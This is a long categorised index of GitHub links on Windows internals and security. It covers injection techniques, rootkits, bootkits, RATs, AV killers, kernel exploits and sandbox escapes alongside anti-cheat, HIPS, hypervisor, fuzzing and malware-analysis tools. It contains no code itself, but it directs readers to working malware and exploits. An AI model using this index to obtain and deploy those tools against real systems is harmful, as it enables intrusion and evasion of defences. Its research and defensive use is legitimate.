https://github.com/nickcano/ReloadLibrary inject technique (ring0) https://github.com/adrianyy/KeInject https://github.com/Sqdwr/LoadImageInject https://github.com/haidragon/NewInjectDrv https://github.com/alex9191/Kernel-dll-injector (DllInjectFromKernel) https://github.com/wbenny/keinject (ApcInjectFromKernel) inject technique (ring3) https://github.com/Shaxzy/VibranceInjector https://github.com/xiaobo93/UnModule_shellcode_Inject https://github.com/Cybellum/DoubleAgent https://github.com/realoriginal/reflective-rewrite (InjectFromMemory) https://github.com/blaquee/APCHook (apc inject) https://github.com/secrary/InjectProc https://github.com/ez8-co/yapi (Yet Another Process Injector) https://github.com/UserExistsError/InjectDll (InjectFromMemory) https://github.com/notscimmy/libinject https://github.com/BorjaMerino/tlsInjector (tls) https://github.com/BorjaMerino/Pazuzu (InjectFromMemory) https://github.com/strobejb/injdll https://github.com/strivexjun/DriverInjectDll (MapInjectDll) https://github.com/sud0loo/ProcessInjection https://github.com/apriorit/SvcHostDemo https://github.com/can1357/ThePerfectInjector https://github.com/VideoCardGuy/X64Injector https://github.com/papadp/reflective-injection-detection (InjectFromMemory) https://github.com/psmitty7373/eif (InjectFromMemory) https://github.com/rokups/ReflectiveLdr (InjectFromMemory) https://github.com/BenjaminSoelberg/ReflectivePELoader (InjectFromMemory) https://github.com/NtRaiseHardError/Phage (InjectFromMemory) https://github.com/dismantl/ImprovedReflectiveDLLInjection (InjectFromMemory) https://github.com/CylanceVulnResearch/ReflectiveDLLRefresher (InjectFromMemory) https://github.com/amishsecurity/paythepony (InjectFromMemory) https://github.com/deroko/activationcontexthook https://github.com/ez8-co/yapi (Cross x86 & x64 injection) https://github.com/georgenicolaou/HeavenInjector https://github.com/tinysec/runwithdll https://github.com/NtOpcode/NT-APC-Injector https://github.com/caidongyun/WinCodeInjection https://github.com/countercept/doublepulsar-usermode-injector https://github.com/mq1n/DLLThreadInjectionDetector https://github.com/hkhk366/Memory_Codes_Injection https://github.com/chango77747/ShellCodeInjector_MsBuild https://github.com/Zer0Mem0ry/ManualMap https://github.com/secrary/InfectPE https://github.com/zodiacon/DllInjectionWithThreadContext https://github.com/NtOpcode/RtlCreateUserThread-DLL-Injection https://github.com/hasherezade/chimera_loader https://github.com/Ciantic/RemoteThreader https://github.com/OlSut/Kinject-x64 https://github.com/tandasat/RemoteWriteMonitor https://github.com/stormshield/Beholder-Win32 https://github.com/secrary/InjectProc https://github.com/AzureGreen/InjectCollection https://github.com/uItra/Injectora https://github.com/rootm0s/Injectors https://github.com/Spajed/processrefund https://github.com/al-homedawy/InjecTOR https://github.com/OlSut/Kinject-x64 https://github.com/stormshield/Beholder-Win32 https://github.com/yifiHeaven/MagicWall WoW64 <-> x64 https://github.com/wolk-1024/WoW64Utils https://github.com/dadas190/Heavens-Gate-2.0 https://github.com/leecher1337/ntvdmx64 https://github.com/hyzhangzhy/WindowX https://github.com/georgenicolaou/HeavenInjector https://github.com/georgenicolaou/W64oWoW64 https://github.com/Rprop/X86Call https://github.com/rwfpl/rewolf-wow64ext https://github.com/ovidiuvio/libntdbg https://github.com/haidragon/x86tox64 https://github.com/3gstudent/CreateRemoteThread https://github.com/RaMMicHaeL/Textify anti autorun https://github.com/analyst004/autorun anti dll inject https://0cch.com/2015/04/10/e998b2e6ada2global-windows-hookse6b3a8e585a5e79a84e4b880e4b8aae696b9e6b395/ (global hook) https://blog.csdn.net/songjinshi/article/details/7808561 (message hook) https://blog.csdn.net/songjinshi/article/details/7808624 (message hook) https://github.com/mq1n/DLLThreadInjectionDetector https://github.com/analyst004/antinject https://github.com/ExpLife/BotKiller load Dll from memory https://github.com/UserExistsError/DllLoaderShellcode https://github.com/jnastarot/native_peloader https://github.com/fancycode/MemoryModule https://github.com/strivexjun/MemoryModulePP Unpack dll load in runtime https://github.com/1ce0ear/DllLoaderUnpacker dll hijack https://github.com/Cybereason/siofra (identify and exploit) https://github.com/anhkgg/SuperDllHijack https://github.com/strivexjun/AheadLib-x86-x64 https://github.com/zeffy/proxydll_template com hijack https://github.com/enigma0x3/MessageBox anti dll hijack https://github.com/fortiguard-lion/anti-dll-hijacking process hollowing https://github.com/xfgryujk/InjectExe https://github.com/m0n0ph1/Basic-File-Crypter https://github.com/Spajed/processrefund https://github.com/KernelMode/Process_Doppelganging https://github.com/hasherezade/process_doppelganging https://github.com/m0n0ph1/Process-Hollowing https://github.com/KernelMode/RunPE-ProcessHollowing https://github.com/KernelMode/RunPE_Detecter pe loader https://github.com/FrankStain/pe-loader https://github.com/VideoCardGuy/PELoader memory pe dumper https://github.com/glmcdona/Process-Dump dll map detection https://github.com/vmcall/MapDetection dll to shellcode https://github.com/w1nds/dll2shellcode dll to exe https://github.com/hasherezade/dll_to_exe hide process https://github.com/M00nRise/ProcessHider hide & delete dll https://github.com/wyyqyl/HideModule load driver from memory https://github.com/ZhuHuiBeiShaDiao/DriverMaper https://github.com/fadetrack/KernelMemoryModule (Enable Exception) https://github.com/not-wlan/driver-hijack https://github.com/Professor-plum/Reflective-Driver-Loader bypass memory scanner https://github.com/Microwave89/rtsectiontest KeUserModeCallBack https://github.com/Sqdwr/KeUserModeCallBack callback https://github.com/OSRDrivers/kmexts (callbacks) https://github.com/godaddy/procfilter (yara-integrated) https://github.com/McSimp/unfairplay https://github.com/jjdredd/procsentinel (verify the address space of a process) https://github.com/SanseoLab/simpleAVdriver https://github.com/SanseoLab/ProcLogger https://github.com/notscimmy/libelevate https://github.com/ZhuHuiBeiShaDiao/ObRegisterCallBacksByPass https://github.com/Sqdwr/RemoveCallBacks https://github.com/JKornev/hidden https://github.com/binbibi/CallbackEx https://github.com/swwwolf/cbtest https://github.com/nmgwddj/Learn-Windows-Drivers https://github.com/SamLarenN/CallbackDisabler usb filter https://github.com/GoodstudyChina/USBlocker sfilter https://github.com/haidragon/sfilter minifilter https://github.com/lxt1045/FileLogger https://github.com/vitalikpi/FileWall https://github.com/Mermeze/System-Monitor https://github.com/cn505240/lightweight-reactive-snapshot-service https://github.com/aviadyifrah/NAGuard https://github.com/y0n0622/DriversCode https://github.com/NotSurprised/MiniLogger https://github.com/hidd3ncod3s/hipara https://github.com/NtRaiseHardError/Providence https://github.com/maaaaz/mimicertz https://github.com/MUmesha/SecureFile https://github.com/anystayisjk/WordEncrypt https://github.com/anystayisjk/EncryptEngine https://github.com/yedushusheng/FileEncryption https://github.com/JokerMars/engine https://github.com/icedxu/Monitor https://github.com/smartinm/diskcryptor (disk encrypt) https://github.com/hedgeh/SEWindows (HIPS) https://github.com/474172261/DataProtector https://github.com/CynicalApe/Minifilter-CSHARP-ConsoleApp https://github.com/NtRaiseHardError/Anti-Delete (File anti delete) https://github.com/Randomize163/FSDefender https://github.com/ETEFS/ETEFS_Mini https://github.com/gfleury/ProtegeDados_ProjetoFinal https://github.com/denisvieriu/Portable-Executable-Minifilter-Driver https://github.com/surajfale/passthrough-minifilter-driver https://github.com/louk78/Virgo https://github.com/tandasat/Scavenger https://github.com/dubeyprateek/HideFiles https://github.com/aleksk/LazyCopy https://github.com/guidoreina/minivers https://github.com/idkwim/mfd https://github.com/Coxious/Antinvader https://github.com/tandasat/Scavenger https://github.com/fishfly/X70FSD https://github.com/ExpLife/BKAV.Filter anti Ransomware https://github.com/clavis0x/AntiRansomware https://github.com/DecryptoniteTeam/Decryptonite https://github.com/ofercas/ransomware_begone virtual disk https://github.com/zhaozhongshu/winvblock_vs https://github.com/yogendersolanki91/Kernel-Driver-Example virtual file system https://github.com/ufrisk/MemProcFS (The Memory Process File System) https://github.com/TanninOne/usvfs https://github.com/ExpLife/CodeUMVFS https://github.com/yogendersolanki91/ProcessFileSystem https://github.com/BenjaminKim/dokanx lpc https://github.com/avalon1610/LPC alpc https://github.com/avalon1610/ALPC lsp/spi https://github.com/TinkerBravo/SPIRemove https://github.com/AnwarMohamed/Packetyzer afd https://github.com/xiaomagexiao/GameDll https://github.com/DeDf/afd https://github.com/a252293079/NProxy tdi https://github.com/wanttobeno/wmifilter https://github.com/xue-blood/adfilter https://github.com/alex9191/NetDriver (send & receive HTTP requests) https://github.com/alex9191/ZeroBank-ring0-bundle https://github.com/Sha0/winvblock https://github.com/michael4338/TDI https://github.com/cullengao/tdi_monitor https://github.com/uniking/TDI-Demo https://github.com/codereba/netmon wfp https://github.com/reinhardvz/enumwfp https://github.com/BOT-Man-JL/WFP-Traffic-Redirection-Driver https://github.com/henrypp/simplewall https://github.com/dfct/PortMapper (Port Map) https://github.com/TinkerBravo/WFPKit https://github.com/Arno0x/DivertTCPconn https://github.com/mullvad/libwfp https://github.com/gifur/NetworkMnt https://github.com/ss-abramchuk/OpenVPNAdapter/blob/f016614ed3dec30672e4f1821344b7992825a98d/OpenVPN Adapter/Vendors/openvpn/openvpn/tun/win/wfp.hpp https://github.com/itari/vapu https://github.com/basil00/Divert https://github.com/WPO-Foundation/win-shaper https://github.com/raymon-tian/WFPFirewall https://github.com/killbug2004/HashFilter https://github.com/henrypp/simplewall https://docs.microsoft.com/zh-cn/windows-hardware/drivers/network/porting-packet-processing-drivers-and-apps-to-wfp https://github.com/thecybermind/ipredir ndis https://github.com/pr0v3rbs/MalSiteBlocker https://github.com/Beamer-LB/netmap/tree/stable/WINDOWS https://github.com/ndemarinis/ovs/tree/22a1ba42f8137cd3532b54880b19b51d4b87440d/datapath-windows/ovsext https://github.com/markjandrews/CodeMachineCourse/tree/5473d4ea808791c2a048f2c8c9c86f011a6da5e8/source/kerrkt.labs/labs/NdisLwf https://github.com/openthread/openthread/tree/master/examples/drivers/windows https://github.com/Hartigan/Firewall https://github.com/zy520321/ndis-filter https://github.com/yuanmaomao/NDIS_Firewall https://github.com/SoftEtherVPN/Win10Pcap https://github.com/IsoGrid/NdisProtocol https://github.com/lcxl/lcxl-net-loader https://www.ntkernel.com/windows-packet-filter/ https://github.com/michael4338/NDIS https://github.com/IAmAnubhavSaini/ndislwf https://github.com/OpenVPN/tap-windows6 https://github.com/SageAxcess/pcap-ndis6 https://github.com/uniking/NDIS-Demo https://github.com/mkdym/NDISDriverInst https://github.com/debugfan/packetprot https://github.com/Iamgublin/NDIS6.30-NetMonitor https://github.com/nmap/npcap https://github.com/Ltangjian/FireWall https://github.com/Microsoft/Windows-driver-samples/tree/master/network/config/bindview https://github.com/brorica/http_inject (winpcap) wsk https://github.com/adrianyy/rw_socket_driver https://github.com/wbenny/KSOCKET https://github.com/xalley/WskHttp https://github.com/reinhardvz/wsk https://github.com/akayn/kbMon https://github.com/02strich/audionet https://github.com/mestefy/securityplus https://github.com/skycipher/CNGProvider rootkits https://github.com/Alex3434/wmi-static-spoofer https://github.com/KIDofot/BypassDriverDetection_And_Kill360Process https://github.com/longmode/UTKModule https://github.com/nkga/cheat-driver (read/write memory of arbitrary processes) https://github.com/lantaoxu/HWIDFaker (hwid fake) https://github.com/zerosum0x0/puppetstrings https://github.com/Synestraa/Highcall-Library (Highcall) https://github.com/Microwave89/drvtricks https://github.com/Psychotropos/xhunter1_privesc (XIGNCODE3) https://github.com/ionescu007/r0ak (RWE) https://github.com/cyberweapons/cyberweapons https://github.com/huoji120/AV-Killer https://github.com/Sqdwr/DeleteFile https://github.com/Sqdwr/DeleteFileByCreateIrp https://github.com/Mattiwatti/PPLKiller https://github.com/bfosterjr/ci_mod https://github.com/HoShiMin/EnjoyTheRing0 https://github.com/hfiref0x/ZeroAccess https://github.com/hackedteam/driver-win32 https://github.com/hackedteam/driver-win64 https://github.com/csurage/Rootkit https://github.com/bowlofstew/rootkit.com https://github.com/Nervous/GreenKit-Rootkit https://github.com/bytecode-77/r77-rootkit https://github.com/Cr4sh/WindowsRegistryRootkit https://github.com/Alifcccccc/Windows-Rootkits https://github.com/Schnocker/NoEye https://github.com/christian-roggia/open-myrtus https://github.com/Cr4sh/DrvHide-PoC https://github.com/mstefanowich/SquiddlyDiddly2 https://github.com/MalwareTech/FakeMBR https://github.com/Cr4sh/PTBypass-PoC https://github.com/psaneme/Kung-Fu-Malware https://github.com/hasherezade/persistence_demos https://github.com/MinhasKamal/TrojanCockroach https://github.com/akayn/kbMon mbr https://github.com/Cisco-Talos/MBRFilter bootkits https://github.com/DeviceObject/rk2017 https://github.com/DeviceObject/ChangeDiskSector https://github.com/DeviceObject/Uefi_HelloWorld https://github.com/DeviceObject/ShitDrv https://github.com/DeviceObject/DarkCloud https://github.com/nyx0/Rovnix https://github.com/MalwareTech/TinyXPB https://github.com/m0n0ph1/Win64-Rovnix-VBR-Bootkit https://github.com/NextSecurity/Gozi-MBR-rootkit https://github.com/NextSecurity/vector-edk https://github.com/ahixon/booty uefi/smm https://github.com/DeviceObject/Uefi_HelloWorld https://github.com/LongSoft/UEFITool https://github.com/dude719/UEFI-Bootkit https://github.com/quarkslab/dreamboot https://github.com/gyje/BIOS_Rootkit https://github.com/scumjr/the-sea-watcher https://github.com/zhuyue1314/stoned-UEFI-bootkit https://github.com/hackedteam/vector-edk https://github.com/Cr4sh/SmmBackdoor https://github.com/Cr4sh/PeiBackdoor https://github.com/Cr4sh/fwexpl bootloader https://github.com/apriorit/custom-bootloader smc https://github.com/marcusbotacin/Self-Modifying-Code anti debug https://github.com/atlantis2013/Evasion-Tools https://github.com/AlicanAkyol/sems https://github.com/strivexjun/XAntiDebug https://github.com/marcusbotacin/Anti.Analysis https://github.com/LordNoteworthy/al-khaser https://github.com/eschweiler/ProReversing crypters https://github.com/m0n0ph1/FileCrypter https://github.com/iGh0st/Crypters malware https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp (C#) https://github.com/zerosum0x0/koadic (JScript RAT) https://github.com/malwaredllc/bamf https://github.com/malwaredllc/byob (py) https://github.com/fereh/tacekit https://github.com/eset/malware-ioc https://github.com/lianglixin/RemoteControl-X3 https://github.com/Souhardya/UBoat (HTTP) https://github.com/malwares/Botnet https://github.com/RafaelGSS/HyzMall https://github.com/DeadNumbers/Pegasus https://github.com/mdsecactivebreach/SharpShooter https://github.com/mwsrc/XtremeRAT https://github.com/mwsrc/Schwarze-Sonne-RAT (delphi) https://github.com/Mr-Un1k0d3r/ThunderShell (powershell) https://github.com/DimChris0/LoRa https://github.com/marcusbotacin/Malware.Multicore https://github.com/bxlcity/malware https://github.com/grcasanova/SuperVirus https://github.com/hackedteam/core-win32 https://github.com/hackedteam/scout-win https://github.com/hackedteam/vector-dropper EternalBlue && Doublepulsar && Mine https://github.com/xmrig/xmrig https://github.com/TolgaSEZER/EternalPulse shellcode analysis https://github.com/OALabs/BlobRunner malware analysis https://github.com/Formyown/Alesense-Antivirus (nice demo) https://github.com/ctxis/capemon (Config And Payload Extraction) https://github.com/tdevuser/MalwFinder https://github.com/MalwareCantFly/Vba2Graph https://github.com/unexpectedBy/Automated-Malware-Analysis-List https://github.com/wchen-r7/amsiscanner (Microsoft's Antimalware Scan Interface) https://github.com/ctxis/capemon https://github.com/kevthehermit/RATDecoders https://github.com/marcusbotacin/Malware.Variants https://github.com/marcusbotacin/Hardware-Assisted-AV https://github.com/gentilkiwi/spectre_meltdown https://github.com/gentilkiwi/wanadecrypt https://github.com/bloomer1016 https://github.com/CHEF-KOCH/malware-research https://github.com/gentilkiwi/wanakiwi arktools https://github.com/basketwill/Sysmon_reverse https://github.com/ZhuHuiBeiShaDiao/KernelHooksDetection_x64 https://github.com/AxtMueller/Windows-Kernel-Explorer https://github.com/hedgeh/SEWindows (doc:hedgeh.github.io/startup.html) https://github.com/glmcdona/MALM https://github.com/ahmad-siavashi/Ana-Process-Explorer https://github.com/alex9191/KernelModeMonitor https://github.com/marcosd4h/memhunter https://github.com/gleeda/memtriage https://github.com/KernelMode/Process_Dop https://github.com/hm200958/kmdf--analyse https://github.com/AzureGreen/WinNT-Learning https://github.com/marcusbotacin/BranchMonitoringProject https://github.com/AzureGreen/ArkProtect https://github.com/AzureGreen/ArkToolDrv https://github.com/HollyDi/PCAssistant https://github.com/ChengChengCC/Ark-tools https://github.com/swatkat/arkitlib https://github.com/swwwolf/wdbgark https://github.com/zibility/Anti-Rootkits https://github.com/SLAUC91/AntiCheat https://github.com/sincoder/A-Protect https://github.com/apriorit/antirootkit-anti-splicer https://github.com/kedebug/ScDetective https://github.com/PKRoma/ProcessHacker https://github.com/AndreyBazhan/DbgExt https://github.com/comaeio/SwishDbgExt https://github.com/ExpLife/atomic-red-team https://github.com/shenghe/pcmanager https://github.com/lj1987new/guardlite https://github.com/hackshields/antivirus/ https://github.com/AntiRootkit/BDArkit bypass patchguard https://github.com/9176324/Shark https://github.com/hfiref0x/UPGDSED https://github.com/tandasat/PgResarch https://github.com/killvxk/DisableWin10PatchguardPoc https://github.com/tandasat/findpg https://github.com/zer0mem/HowToBoostPatchGuard https://bbs.pediy.com/thread-214582.htm bypass dse https://github.com/hfiref0x/TDL https://github.com/hfiref0x/DSEFix HackSysExtremeVulnerableDriver https://github.com/redogwu/windows_kernel_exploit https://github.com/mgeeky/HEVD_Kernel_Exploit https://www.fuzzysecurity.com/tutorials.html https://rootkits.xyz/blog/ https://github.com/hacksysteam/HackSysExtremeVulnerableDriver https://github.com/k0keoyo/HEVD-Double-Free-PoC https://github.com/k0keoyo/HEVD-Arbitrary-Overwrite-Exploit-Win10-rs3 https://github.com/tekwizz123/HEVD-Exploit-Solutions https://github.com/k0keoyo/try_exploit https://github.com/Cn33liz/HSEVD-VariousExploits https://github.com/Cn33liz/HSEVD-StackOverflow https://github.com/Cn33liz/HSEVD-StackOverflowX64 https://github.com/Cn33liz/HSEVD-StackCookieBypass https://github.com/Cn33liz/HSEVD-ArbitraryOverwriteGDI https://github.com/Cn33liz/HSEVD-StackOverflowGDI https://github.com/Cn33liz/HSEVD-ArbitraryOverwriteLowIL https://github.com/Cn33liz/HSEVD-ArbitraryOverwrite https://github.com/akayn/demos windows exploits https://github.com/admintony/svnExploit https://github.com/smgorelik/Windows-RCE-exploits https://github.com/WindowsExploits/Exploits https://github.com/codewhitesec/UnmarshalPwn https://github.com/shellphish/how2heap https://github.com/externalist/exploit_playground https://github.com/cervoise/Abuse-bash-for-windows windows kernel exploits https://github.com/saaramar/execve_exploit (WSL) https://github.com/siberas/CVE-2016-3309_Reloaded https://github.com/moccajoghurt/drvmap_secure https://github.com/fishstiqz/poolinfo https://github.com/cbayet/Exploit-CVE-2017-6008 https://github.com/cbayet/PoolSprayer (pool spray) https://github.com/DownWithUp/CVE-2018-15499 (race condition) https://github.com/SandboxEscaper/randomrepo (win10 LPE) https://github.com/jackson5-sec/TaskSchedLPE (LPE) https://github.com/HarsaroopDhillon/AHNLab-0day(LPE) https://github.com/paranoidninja/Pandoras-Box https://github.com/MarkHC/HandleMaster https://github.com/can1357/physical_mem_controller https://github.com/can1357/safe_capcom https://github.com/can1357/CVE-2018-8897 https://github.com/JeremyFetiveau/Exploits https://github.com/hfiref0x/Stryker https://github.com/swwwolf/obderef https://github.com/k0keoyo/CVE-2017-0038-EXP-C-JS https://github.com/cbayet/PoolSprayer https://github.com/k0keoyo/Vir.IT-explorer-Anti-Virus-Null-Pointer-Reference-PoC https://github.com/k0keoyo/Driver-Loaded-PoC https://github.com/k0keoyo/try_exploit https://github.com/k0keoyo/CVE-2015-2546-Exploit https://github.com/k0keoyo/Dark_Composition_case_study_Integer_Overflow https://github.com/tinysec/vulnerability https://github.com/akayn/demos https://github.com/abatchy17/WindowsExploits https://github.com/recodeking/WindowsExploitation https://github.com/GDSSecurity/Windows-Exploit-Suggester https://github.com/rwfpl/rewolf-pcausa-exploit https://github.com/ratty3697/HackSpy-Trojan-Exploit https://github.com/SecWiki/windows-kernel-exploits https://github.com/sensepost/ms16-098 https://github.com/shjalayeri/sysret https://github.com/sam-b/windows_kernel_resources https://github.com/sensepost/gdi-palettes-exp https://github.com/ExpLife/ByPassCfg https://github.com/Rootkitsmm/WinIo-Vidix https://github.com/andrewkabai/vulnwindrv https://github.com/mwrlabs/CVE-2016-7255 https://github.com/MarkHC/HandleMaster https://github.com/SamLarenN/CapcomDKOM https://github.com/zerosum0x0/puppetstrings https://github.com/zerosum0x0/ShellcodeDriver https://github.com/Rootkitsmm/WinIo-Vidix https://github.com/progmboy/kernel_vul_poc https://github.com/rwfpl/rewolf-msi-exploit https://github.com/rwfpl/rewolf-pcausa-exploit https://github.com/Rootkitsmm/Win10Pcap-Exploit https://github.com/Rootkitsmm/MS15-061 https://github.com/Rootkitsmm/cve-2016-0040 https://github.com/Rootkitsmm/CVEXX-XX https://github.com/sensepost/ms16-098 https://github.com/Trietptm-on-Security/bug-free-adventure https://github.com/sam-b/CVE-2014-4113 https://github.com/Rootkitsmm/OpenVpn-Pool-Overflow https://github.com/Rootkitsmm/UnThreatAVDriver-DOS https://github.com/Cr4sh/ThinkPwn https://github.com/hfiref0x/CVE-2015-1701 https://github.com/tyranid/windows-logical-eop-workshop https://github.com/google/sandbox-attacksurface-analysis-tools https://github.com/tyranid/ExploitRemotingService https://github.com/tyranid/DeviceGuardBypasses https://github.com/tyranid/ExploitDotNetDCOM https://github.com/hatRiot/token-priv(EOP) https://github.com/weizn11/MS17010_AllInOne https://github.com/TeskeVirtualSystem/MS17010Test LPE https://github.com/AlessandroZ/BeRoot https://github.com/HackerPide/The-Division-Bypass (division bypass) https://github.com/khr0x40sh/WhiteListEvasion https://github.com/ohpe/juicy-potato https://github.com/nmulasmajic/syscall_exploit_CVE-2018-8897 https://github.com/codewhitesec/UnmarshalPwn https://ohpe.github.io/juicy-potato/ office exploit https://github.com/rxwx/CVE-2017-8570 flash exploit https://github.com/brianwrf/CVE-2017-4878-Samples sandbox https://github.com/taiFansou/Proteibox sandbox escape https://github.com/xairy/vmware-exploitation https://github.com/649/Chrome-Sandbox-Exploit https://github.com/SilverMoonSecurity/SandboxEvasion https://github.com/exAphex/SandboxEscape https://github.com/Fel0ny/Sandbox-Detection https://github.com/CheckPointSW/InviZzzible https://github.com/MalwareTech/AppContainerSandbox https://github.com/tyranid/IE11SandboxEscapes https://github.com/649/Chrome-Sandbox-Exploit https://github.com/google/sandbox-attacksurface-analysis-tools https://github.com/conix-security/zer0m0n https://github.com/iceb0y/windows-container https://github.com/s7ephen/SandKit https://github.com/D4Vinci/Dr0p1t-Framework https://github.com/cryptolok/MorphAES https://github.com/mtalbi/vm_escape https://github.com/unamer/vmware_escape https://github.com/erezto/lua-sandbox-escape https://github.com/brownbelt/Edge-sandbox-escape https://github.com/shakenetwork/vmware_escape https://github.com/Cr4sh/prl_guest_to_host anti exploit https://github.com/shjalayeri/Pwnypot https://github.com/shjalayeri/MCEDP https://github.com/Empier/Anti-Exploit cve https://github.com/Ridter/acefile https://github.com/Ridter/Exchange2domain https://github.com/ze0r/cve-2018-8453-exp https://github.com/gravitational/cve-2018-1002105 https://github.com/LyleMi/dom-vuln-db https://github.com/renorobert/virtualbox-cve-2018-2844 https://github.com/LiuCan01/cve-list-pro https://github.com/CVEProject/cvelist hips https://github.com/godaddy/procfilter https://github.com/BrunoMCBraga/Kernel-Whisperer https://malwaretips.com/threads/av-self-protection-process-c-c.66200/ https://github.com/zareprj/JAV-AV-Engine https://github.com/0xdabbad00/OpenHIPS https://github.com/ExpLife/Norton_AntiVirus_SourceCode https://github.com/majian55555/MJAntiVirusEngine https://github.com/develbranch/TinyAntivirus https://github.com/tandasat/EopMon https://github.com/tandasat/MemoryMon windows hypervisor https://github.com/gamozolabs/falkervisor_grilled_cheese https://github.com/redogwu/hyper-v https://github.com/Ekrte/hithithit https://github.com/Microsoft/FirewallEventMonitor https://github.com/ionescu007/Simpleator https://github.com/StrikerX3/whvpclient kvm https://github.com/david942j/kvm-kernel-example vt https://github.com/udosteinberg/NOVA https://github.com/changeofpace/VivienneVMM (stealthy debugging framework) https://github.com/tklengyel/drakvuf https://github.com/gamozolabs/applepie https://github.com/haidragon/newbluepill https://github.com/Gbps/gbhv https://github.com/ionescu007/SimpleVisor https://github.com/xdel/bluepillstudy https://github.com/SinaKarvandi/Hypervisor-From-Scratch https://github.com/wbenny/hvpp https://github.com/Sqdwr/Multi_CPU_VtBase https://github.com/marche147/IoctlMon https://github.com/ionescu007/SimpleVisor https://github.com/zer0mem/MiniHyperVisorProject https://github.com/zer0mem/ShowMeYourGongFu https://github.com/zer0mem/HyperVisor https://github.com/marche147/SimpleVT https://github.com/DarthTon/HyperBone https://github.com/nick-kvmhv/splittlb https://github.com/zareprj/Vmx_Prj https://github.com/ZhuHuiBeiShaDiao/MiniVTx64 https://github.com/tandasat/HyperPlatform https://github.com/hzqst/Syscall-Monitor https://github.com/asamy/ksm https://github.com/in12hacker/VT_64_EPT https://github.com/ZhuHuiBeiShaDiao/PFHook https://github.com/tandasat/FU_Hypervisor https://github.com/tandasat/DdiMon https://github.com/tandasat/GuardMon https://github.com/yqsy/VT_demo https://github.com/OkazakiNagisa/VTbasedDebuggerWin7 https://github.com/Ouroboros/JuusanKoubou https://github.com/aaa1616/Hypervisor https://github.com/Nukem9/VirtualDbg https://github.com/Nukem9/VirtualDbgHide https://github.com/cheat-engine/cheat-engine https://github.com/Kelvinhack/kHypervisor firmware https://github.com/platomav/MEAnalyzer fuzzer https://github.com/mwrlabs/ViridianFuzzer https://github.com/GoSSIP-SJTU/TripleDoggy https://github.com/payatu/EMFFuzzer https://github.com/googleprojectzero/bochspwn-reloaded https://github.com/googleprojectzero/p0tools https://github.com/wnagzihxa1n/BrowserSecurity https://github.com/Dongdongshe/neuzz https://github.com/nickjackson2011/study-TTF_format https://github.com/oxagast/ansvif https://github.com/hfiref0x/ROCALL https://github.com/bin2415/fuzzing_paper https://github.com/CERTCC/dranzer (activex/com) https://github.com/lcatro/How-to-Read-Source-and-Fuzzing (learn fuzzer) https://github.com/sogeti-esec-lab/RPCForge https://github.com/RootUp/BFuzz https://github.com/necst/crave https://github.com/IOActive/FuzzNDIS https://github.com/bee13oy/AV_Kernel_Vulns/tree/master/Zer0Con2017 https://github.com/k0keoyo/kDriver-Fuzzer (Paper:https://whereisk0shl.top/post/2018-01-30) https://github.com/koutto/ioctlbf https://github.com/Cr4sh/ioctlfuzzer https://github.com/Cr4sh/MsFontsFuzz https://github.com/hfiref0x/NtCall64 https://github.com/Rootkitsmm/Win32k-Fuzzer https://github.com/mwrlabs/KernelFuzzer https://github.com/SignalSEC/kirlangic-ttf-fuzzer https://github.com/demi6od/Smashing_The_Browser https://github.com/marche147/IoctlMon https://github.com/k0keoyo/Some-Kernel-Fuzzing-Paper emet https://github.com/codingtest/EMET hotpatch https://github.com/codingtest/windows_hotpatch memory hack https://github.com/Empier/MemoryEditor game https://github.com/scarsty/kys-cpp game hack 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https://github.com/TonyZesto/PubgPrivXcode85 https://github.com/luciouskami/gameguard-for-war3 https://github.com/PopcornEgg/LOLChangeSkin https://github.com/ValveSoftware/ToGL https://github.com/Karaulov/War3-SizeLimit-Bypass https://github.com/F7eak/Xenon https://github.com/syj2010syj/All-Star-Battle-2 anti cheat https://github.com/GravitLauncher/Avanguard https://github.com/Mouka-Yang/AntiCheatProtector https://github.com/mq1n/NoMercy https://github.com/SagaanTheEpic/Sagaan-AntiCheat-V2.0 https://github.com/SagaanTheEpic/SAC-Sagaan-AntiCheat-Module- https://github.com/SagaanTheEpic/SAC-Anti-Debug https://github.com/SagaanTheEpic/SAC-Sagaan-AntiCheat-ModuleThread https://github.com/SagaanTheEpic/SAC-Sagaan-AntiCheat-OverlayDetector- https://github.com/SagaanTheEpic/Mega-Bypasss https://github.com/SagaanTheEpic/SAC-Sagaan-AntiCheat-UserMode- https://github.com/SagaanTheEpic/SAC-Sagaan-AntiCheat-Driver- https://github.com/SagaanTheEpic/SagaanTheEpic-Millin-Hack-SMH-Kernel https://github.com/SagaanTheEpic/LSASS-Usermode-Bypass https://github.com/SagaanTheEpic/KernelMode-Bypass https://github.com/chinatiny/GameAntiCheat https://github.com/jnastarot/anti-cheat https://github.com/jnastarot/ice9 software reverse https://github.com/stonedreamforest/re_avkmgr https://github.com/stonedreamforest/re_sysdiag pe protector https://github.com/devilogic/xvirus https://github.com/nickcano/RelocBonus https://github.com/jnastarot/furikuri unpacker https://github.com/Phat3/PINdemonium (pin) https://github.com/BromiumLabs/PackerAttacker http://n10info.blogspot.com/2018/03/xvolkolak-010.html emulate code execution https://github.com/hzqst/unicorn_pe https://github.com/inaz2/Unico https://github.com/Coldzer0/Cmulator pin https://github.com/BreakingMalware/Selfie https://github.com/BreakingMalware/AVulnerabilityChecker https://github.com/hasherezade/MyPinTools https://github.com/hasherezade/tiny_tracer https://github.com/dyninst/dyninst symbolic execution https://github.com/cea-sec/miasm https://github.com/illera88/Ponce https://github.com/gaasedelen/lighthouse obfuscation https://github.com/DoctorLai/VBScript_Obfuscator deobfuscation https://github.com/JonathanSalwan/Tigress_protection https://github.com/1111joe1111/tuts (vmprotect 3+) https://github.com/F8LEFT/DecLLVM https://github.com/mmyydd/relative-pattern https://github.com/SCUBSRGroup/OLLVM_Deobfuscation taint analyse https://github.com/cea-sec/miasm (blackhat 2018) https://bbs.pediy.com/thread-230299.htm https://bbs.pediy.com/thread-230105.htm https://bbs.pediy.com/thread-226603.htm https://bbs.pediy.com/thread-224353.htm https://bbs.pediy.com/thread-223849.htm https://github.com/airbus-seclab/bincat https://github.com/SCUBSRGroup/Taint-Analyse https://github.com/airbus-seclab/bincat https://github.com/SCUBSRGroup/Taint-Analyse https://github.com/piscou/FuzzWin bin diff https://github.com/joxeankoret/pigaios https://www.zynamics.com/bindiff.html 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https://github.com/hugsy/windbg_js_scripts (js) https://github.com/0vercl0k/windbg-scripts (js) https://github.com/REhints/WinDbg https://github.com/jthuraisamy/DIRT https://github.com/OSRDrivers/penter https://github.com/OSRDrivers/windbg-exts https://github.com/panoramixor/GDIObjDump https://codeday.me/bug/20171003/80216.html http://virtualkd.sysprogs.org/ https://github.com/VincentSe/WatchTrees ida script & plugin 